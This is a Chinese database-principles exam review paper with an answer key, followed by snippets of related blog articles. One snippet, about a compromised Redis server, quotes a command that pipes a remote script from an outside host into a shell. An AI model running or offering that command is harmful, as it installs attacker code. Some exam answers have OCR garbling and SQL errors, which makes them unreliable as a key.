数据库原理与应用期末复习试卷2
数据库原理技术与应用
一.单项选择题
- 设有属性A,B,C,D,以下表示中不是关系的是( C)
A、R(A) B、R(A, B, C, D) C、R(AxBxCxD) D、R(A,B)
- 在SQL语言中的视图VIEW是数据库的(A)。
A、外模式 B、模式 c、内模式 D、存储模式
-
事务了在修改数据R之前必须先对其加X锁,直到事务结束才释放,这是(A)
A、一级封锁协议 B、二级封锁协议 C、三级封锁协议 D.零级封锁协议
-
o p1 (o p2 ®)等价于( B)。
A、o p1 v p2 ® B、o p1 ^ p2 ® C、op1® D、op2®
- 在关系数据库系统中,为了简化用户的查询操作,而又不增加数据的存储空间,常用的方法是创建©。
A、另一个表 B、游标 C、视图 D、索引
- 有关系SC(S_ID,C_ID,AGE,SCORE),查找年龄大于22岁的学生的学号和分数,正确的关系代数表达式是( D)。
i. Πs_id,score ( o age>22(SC) )
ii. Π age>22 (Πs_id,score(SC) )
iii.Π s_id,score (o age>22 (Πs_id,score,age(SC)))
A、i和ii正确 B、只有ii正确 C、只有 i正确 D、i和iii正
-
两个原来不包含空值的关系进行左外连接运算,结果中(B)会出现空值?
A、原来左关系的属性 B、原来右关系的属性C、左右关系的属性都会 D、左右关系的属性都不会
-
规定关系的所有主属性都不能取空值,是用来实现哪一类完整性约束(A)
A、实体完整性 B、域完整性 C、参照完整性 D、用户自定义的完整性
-
学生关系(学号,姓名,性别,年龄,系号,系名)中,“系名”对主关键字“学号”的函数依赖是©。
A、完全函数依赖 B、部分函数依赖 C、传递函数依赖 D、平凡函数依赖
- B表字段a类型int中有100条记录,值分别为1至100。如下语句
SELECT a FROM B
WHERE a BETWEEN 1 AND 50 OR (a IN (25,70,95) AND a BETWEEN 25 AND
75)
则如下哪个值在这个8ql语句返回的结果集中(A)
A、30 B、51 C、75 D、95
- 事务的一致性是指(D).
A、事务中包括的所有操作要么都做,要么都不做
B、事务一旦提交,对数据库的改变是永久的
C、一个事务内部的操作及使用的数据对并发的其他事务是隔高的
D、事务必须是使数据库从一个一致性状态变到另一个一致性状态
- 数据库系统由(D)组成。
A、数据库及其必备的硬件系统
B、数据库及相应的硬件、软件系统
C、数据库及相应的软件系统
D、数据库及相应的硬件、软件系统和各类相关人员
- 下述哪一条是并发控制的主要方法(B)。
A、授权 B、封锁 C、日志 D、索引
14 .在关系R中,U是主码,X是一个属性集,如果X→U,那么X是一个(B)
A、候选码 B、超码 C、主码 D、外部码
- 员工表staff表结构如下:
staffNO varchar2(10),
Email varchar2(50)
哪一个SQL语句查询出没有E_mail地址的员工号 ©
A.select staffno from Staff where Emai = NULL
B. select staffno from Staff where Email NULL
C. select staffno from Staff where Email is mull
D.select staffno from Staff where Email is not mull
- 不属于视图的优点是(A)
A、视图能够加快查询的速度 B、视图使用户能以多种角度看待同一数据
C、视图对重构数据库提供了一定程度的逻辑独立性
D、视图能够对机密数据提供安全保护
- 关系数据库规范化是为了解决关系数据库中( A)的问题而引入的。
A、插入、删除异常和数据冗余 B、提高查询速度
C、减少数据操作的复杂性 D、保证数据的安全性和完整性
- 已知表T1中有2行数据 ,T2中有3行数据,执行SQL语句“select a,* from T1 a,T2 b”后,返回的行数为(D)。
A、2行 B.3行 C、5行 D、6行
- 数据库恢复的基础是利用转储的冗余数据,这些转储的冗余数据包括(C)
A、数据字典,应用程序,审计档案,数据库后备副本
B.数据字典,应用程序,审计档案,日志文件
C、日志文件,数据库后备副本
D. 数据字典,应用程序,数据库后备副本
- 关于索引(index)的说法哪些是错误?(A)
A、创建索引能提高数据插入的性能
B、索引应该根据具体的检索需求来创建,在选择性好的列上创建索引
C、索引并非越多越好
D、建立富引可使检索操作更迅速
二.判断题
-
超码一定是候选码。(X)
-
遵守两段锁协议的调度一定是可串行化调度。(√)
-
在关系数据库中,用主码来保证参照完整性。(X)
-
单码的1NF一定是 2NF。(√)
-
自然连接要求相等的分量必须有共同的属性名,等值连接则不要求。(√)
-
遵守三级封锁协议不一定遵守两段锁协议。(×)
-
基本的关系运算是:并、交、积、选择、投影。(×)
-
UPDATE语句是用来修改表结构的,ALTER 语句是用来修改表中数据的。(X)
三.填空题
-
并发操作带来的数据不一致性包括三类:(丢失修改)、(读“脏”数据 )和(不可重复读)
-
一般地,当删除被参照关系的某个元组,而参照关系存在若干元组,其外码值与被参照关系删除元组的主码值相同,这时可有三种不同的策略:(级联删除)、受限删除、置空值删除。
-
存在两个结构相同的数据库表T1(col1,co12,co13)、T2(col1,co12,col3).写出相应SQL语句将所有T1数据导入到T2表(insert into T2 select * from T1)
-
在数据库的三级模式体系结构中,模式与内模式之间的映象(模式/内模式),实现了数据库的(物理)独立性。
-
在关系A(S, SN, D)和B(D,CN,NM)中,A的主健是S,B的主键是D,则D在A中称为(外码).
-
设有关系模式R(U,F),其中U=(A,B,C,D,E); F=(AB→C,B→D,C→E,EC→B,AC一B):那么(AB)~为(ABCDE),
-
(日志)是用来记录事务对数据库的更新操作的文件。
-
在SQL语言中,为了数据库的安全性,设置了对数据的存取进行控制的语句,对用户授权使用(GRANT)语句,收回所授的权限使用(REVOKE)语句。如果想让授权的用户,也可以将这些权限转授给其他用户,需要选项( WITH GRANT OPTION)。
-
系统故障可能会造成数据库处于不一致状态:一是未完成事务对数据库更新可能已写入数据库;二是已提交事务对数据库的更新可能还留在缓冲没来得及写入数据库。因此恢复操作就是要(撤销UNDO)故障发生时未完
四.分析与应用题
- R(U,F) U=(A,B,C,D ) F= (D->B,B->D, AC->D)
(1)分析关系R的候选码为?
(2)分析是否属于2NF范式?关系是否属于3NF范式?需分析
(3)如果关系不是3NF,将其规范到3NF
- 某社商业集团数据库中有3个实体集:
“商店”实体集,属性有商店编号、商店名、地址:
“商品”实体集,属性有商品号、商品名,规格、单价:
“职工”实体集,属性有职工编号、姓名、性别、业绩。
商店与商品之间存在“销售”联系,每个商店可销售多种商品,每中商品也可以放在多个商店销售,每个商店销 售的一种商品有月销售量:商店与职工之网存在“聘用”联系,每个商店有许多职工,每个职工只能在一个商店 工作
(1)设计满是上述要求的E-R图。(4分)
(2)将你的E-R图转化为关系模型,并指出关系的主键和外键。(4分)
商店(商店编号,商店名,地址) 商店编号为主码
职工(职工编号,姓名,性别,业绩,商店编号,聘期,工资)职工编号为主码,商店编号为外码
商品(商品号,商品名,规格,单价)商品号为主码
销售(商店编号,商品号,月销售量)商店编号+商品编号为主码
五.请用SQL语句完成以下操作
现有关系数据库如下:
Student(Sno,Sname,Sex, Age,City, Class) 学生关系,以上属性含义为;学号,姓名,性别,年龄,籍贯,所在班级
Course(Cno,Cname, Grade, Tno)课程关系,以上性含义为:课程程名,开设年级,任课教师号
Teacher(Tno,Tname, Age, City)教师关系,以上属性含义为:教师号,教师名,年龄,籍贯
SC(Sno, Cno, Score)选修关系,以上属性含义为:学号,课程号,成绩
-
试写出学生关系Student创建的SQL语句,在创建时给学生关系Student添加约束;学号为主键;性别的默认值为“男”;学生的年龄必须大于13岁
create table Student(
Sno char(10) primary key,
Sname char(10),
Sex char(2) default ‘男’
Age int check(age>13),
City char(20),
Class char(20)
)
-
删除Course的某些记录,条件为“李梅”老师负责授课的课程。
delete from Course where Tno = (select Tno from T where Tname = ‘李梅’)
-
修改SC的某些成绩,条件为课程名为“数据库”的所有成绩增加5分。
update SC set Score = Sscore+5 where cno = (select cno from Course where Cname=‘数据库’)
-
查询哪些学生的考试平均成绩高于全体学生的平均成绩,列出这些学生的学号、姓名、平均成绩。
select student.sno,sname,avg(score) from student join sc on student.sno=sc.sno
group by student.sno,sname
having avg(score)>(select avg (score) from sc)
-
哪些学生的籍贯与教师李梅的籍贯相同。列出这些学生的学号、姓名、籍贯。
select student.sno,sname,city from student where city = (select city from t where tname = ‘李梅’)
相关文章:
数据库原理与应用期末复习试卷2
数据库原理技术与应用 一.单项选择题 设有属性A,B,C,D,以下表示中不是关系的是( C) A、R(A) B、R(A, B, C, D) C、R(AxBxCxD) D、R(A,B) 在SQL语言中的视图VIEW是数据库的(A)…...
操作系统丨单元测试
文章目录 单元测试选择题填空题单元测试 选择题 【单选题】可以实现虚拟存储器的方案是(D)。 A. 固定分区方式 B. 可变分区方式 C. 纯分页方式 D. 请求页式 【单选题】文件系统中文件存储空间的分配是以(D)为基本单位进行的。 A. 字 B. 字节 C. 文件 D. 块 【单选题】哪种…...

tcp/ip协议2实现的插图,数据结构6 (24 - 章)
(142) 142 二四1 TCP传输控制协议 tcpstat统计量与tcp 函数调用链 (143) 143 二四2 TCP传输控制协议 宏定义与常量值–上 (144) 144 二四3 TCP传输控制协议 宏定义与常量值–下 (145) 145 二四4 TCP传输控制协议 结构tcphdr,tcpiphdr (146) 146 二四5 TCP传输控制协议 结构 tcp…...

Linux链接的创建,删除,修改
目录 1. 概述2. 硬链接2.1 创建硬链接2.2 删除硬链接 3. 软链接3.1 创建软链接3.2 删除软链接 5. 常用的终端工具下载 计算机基础–Linux详解 1. 概述 在Linux系统中,链接是一种文件系统中的重要概念。链接允许用户在文件系统中创建指向另一个文件的引用,…...

HarmoryOS Ability页面的生命周期
接入穿山甲SDK app示例: android 数独小游戏 经典数独休闲益智 广告接入示例: Android 个人开发者如何接入广告SDK,实现app流量变现 Ability页面的生命周期 学习前端,第一步最重要的是要理解,页面启动和不同场景下的生命周期的…...
【Flink 从入门到成神系列 一】算子
👏作者简介:大家好,我是爱敲代码的小黄,阿里巴巴淘天Java开发工程师,CSDN博客专家📕系列专栏:Spring源码、Netty源码、Kafka源码、JUC源码、dubbo源码系列🔥如果感觉博主的文章还不错…...
无人机自主寻优降落在移动车辆
针对无人机寻找并降落在移动车辆上的问题,一套可能的研究总体方案: 问题定义与建模: 确定研究的具体范围和目标,包括无人机的初始条件、最大飞行距离、允许的最大追踪误差等。建立马尔科夫决策过程模型(MDP)…...

科技感十足界面模板
科技感界面 在强调简洁的科技类产品相关设计中,背景多数分为:颜色或写实图片两种。 颜色很好理解,大多以深色底为主。强调一种神秘感和沉稳感,同时可以和浅色的文字内容形成很好的对比。 而图片背景的使用,就要求其…...
pytest装饰器 @pytest.mark.parametrize 使用方法
pytest.mark.parametrize 有三种传参方法,分别是: 1.列表传参:将参数值作为列表传递给装饰器。 pytest.mark.parametrize("param", [value1, value2, ..., valuen])2.元组传参:将参数值作为元组传递给装饰器。 pytes…...

redis被攻击
之前由于redis没有修改端口,密码也比较简单,也没有绑定ip 结果被攻击了 1 redis里被写入string类型的脚本,比如:Back1 Back2 Back3 Back4 ,内容curl -fsSL http://d.powerofwish.com/pm.sh | sh的形式,如下…...

二手买卖、废品回收小程序 在app.json中声明permission scope.userLocation字段 教程说明
处理二手买卖、废品回收小程序 在app.json中声明permission scope.userLocation字段 教程说明 sitemapLocation 指明 sitemap.json 的位置;默认为 ‘sitemap.json’ 即在 app.json 同级目录下名字的 sitemap.json 文件 找到app.json这个文件 把这段代码加进去&…...

【AI视野·今日Sound 声学论文速览 第四十期】Wed, 3 Jan 2024
AI视野今日CS.Sound 声学论文速览 Wed, 3 Jan 2024 Totally 4 papers 👉上期速览✈更多精彩请移步主页 Daily Sound Papers Auffusion: Leveraging the Power of Diffusion and Large Language Models for Text-to-Audio Generation Authors Jinlong Xue, Yayue De…...

Unity组件开发--升降梯
我开发的升降梯由三个部分组成,反正适用于我的需求了,其他人想复用到自己的项目的话,不一定。写的也不是很好,感觉搞的有点复杂啦。完全可以在优化一下,项目赶工期,就先这样吧。能用就行,其他的…...

插槽slot涉及到的样式污染问题
1. 前言 本次我们主要结合一些案例研究一下vue的插槽中样式污染问题。在这篇文章中,我们主要关注以下两点: 父组件的样式是否会影响子组件的样式?子组件的样式是否会影响父组件定义的插槽部分的样式? 2. 准备代码 2.1 父组件代码 <te…...

OpenCV-Python(25):Hough直线变换
目标 理解霍夫变换的概念学习如何在一张图片中检测直线学习函数cv2.HoughLines()和cv2.HoughLinesP() 原理 霍夫变换在检测各种形状的的技术中非常流行。如果你要检测的形状可以用数学表达式写出来,你就可以是使用霍夫变换检测它。即使检测的形状存在一点破坏或者…...
python接口自动化(七)--状态码详解对照表(详解)
1.简介 我们为啥要了解状态码,从它的作用,就不言而喻了。如果不了解,我们就会像个无头苍蝇,横冲直撞。遇到问题也不知道从何处入手,就是想找别人帮忙,也不知道是找前端还是后端的工程师。 状态码的作用是&a…...
Android 实现动态申请各项权限
在Android应用中,如果需要使用一些敏感的权限(例如相机、位置等),需要经过用户的授权才能访问。在Android 6.0(API级别23)及以上的版本中,引入了动态权限申请机制。以下是在Android应用中实现动…...

【leetcode】力扣热门之合并两个有序列表【简单难度】
题目描述 将两个升序链表合并为一个新的 升序 链表并返回。新链表是通过拼接给定的两个链表的所有节点组成的。 用例 输入:l1 [1,2,4], l2 [1,3,4] 输出:[1,1,2,3,4,4] 输入:l1 [], l2 [] 输出:[] 输入:l1 []…...

安全与认证Week3 Tutorial+历年题补充
目录 1) 什么是重放攻击? 2)什么是Kerberos系统?它提供什么安全服务? 3)服务器验证客户端身份的一种简单方法是要求提供密码。在Kerberos中不使用这种身份验证,为什么?Kerberos如何对服务器和客户机进行身份验证? 4) Kerberos的四个要求是什么?Kerberos系…...
【Kotlin】协程
Kotlin协程 背景定义实践GlobalScope.launchrunBlocking业务实践 背景 在项目实践过程中,笔者发现很多异步或者耗时的操作,都使用了Kotlin中的协程,所以特地研究了一番。 定义 关于协程(Coroutine),其实…...
OpenLayers 可视化之热力图
注:当前使用的是 ol 5.3.0 版本,天地图使用的key请到天地图官网申请,并替换为自己的key 热力图(Heatmap)又叫热点图,是一种通过特殊高亮显示事物密度分布、变化趋势的数据可视化技术。采用颜色的深浅来显示…...
Java 语言特性(面试系列2)
一、SQL 基础 1. 复杂查询 (1)连接查询(JOIN) 内连接(INNER JOIN):返回两表匹配的记录。 SELECT e.name, d.dept_name FROM employees e INNER JOIN departments d ON e.dept_id d.dept_id; 左…...
Ubuntu系统下交叉编译openssl
一、参考资料 OpenSSL&&libcurl库的交叉编译 - hesetone - 博客园 二、准备工作 1. 编译环境 宿主机:Ubuntu 20.04.6 LTSHost:ARM32位交叉编译器:arm-linux-gnueabihf-gcc-11.1.0 2. 设置交叉编译工具链 在交叉编译之前&#x…...
AtCoder 第409场初级竞赛 A~E题解
A Conflict 【题目链接】 原题链接:A - Conflict 【考点】 枚举 【题目大意】 找到是否有两人都想要的物品。 【解析】 遍历两端字符串,只有在同时为 o 时输出 Yes 并结束程序,否则输出 No。 【难度】 GESP三级 【代码参考】 #i…...

ardupilot 开发环境eclipse 中import 缺少C++
目录 文章目录 目录摘要1.修复过程摘要 本节主要解决ardupilot 开发环境eclipse 中import 缺少C++,无法导入ardupilot代码,会引起查看不方便的问题。如下图所示 1.修复过程 0.安装ubuntu 软件中自带的eclipse 1.打开eclipse—Help—install new software 2.在 Work with中…...

零基础设计模式——行为型模式 - 责任链模式
第四部分:行为型模式 - 责任链模式 (Chain of Responsibility Pattern) 欢迎来到行为型模式的学习!行为型模式关注对象之间的职责分配、算法封装和对象间的交互。我们将学习的第一个行为型模式是责任链模式。 核心思想:使多个对象都有机会处…...

Spring Cloud Gateway 中自定义验证码接口返回 404 的排查与解决
Spring Cloud Gateway 中自定义验证码接口返回 404 的排查与解决 问题背景 在一个基于 Spring Cloud Gateway WebFlux 构建的微服务项目中,新增了一个本地验证码接口 /code,使用函数式路由(RouterFunction)和 Hutool 的 Circle…...
纯 Java 项目(非 SpringBoot)集成 Mybatis-Plus 和 Mybatis-Plus-Join
纯 Java 项目(非 SpringBoot)集成 Mybatis-Plus 和 Mybatis-Plus-Join 1、依赖1.1、依赖版本1.2、pom.xml 2、代码2.1、SqlSession 构造器2.2、MybatisPlus代码生成器2.3、获取 config.yml 配置2.3.1、config.yml2.3.2、项目配置类 2.4、ftl 模板2.4.1、…...
JS手写代码篇----使用Promise封装AJAX请求
15、使用Promise封装AJAX请求 promise就有reject和resolve了,就不必写成功和失败的回调函数了 const BASEURL ./手写ajax/test.jsonfunction promiseAjax() {return new Promise((resolve, reject) > {const xhr new XMLHttpRequest();xhr.open("get&quo…...
JavaScript 数据类型详解
JavaScript 数据类型详解 JavaScript 数据类型分为 原始类型(Primitive) 和 对象类型(Object) 两大类,共 8 种(ES11): 一、原始类型(7种) 1. undefined 定…...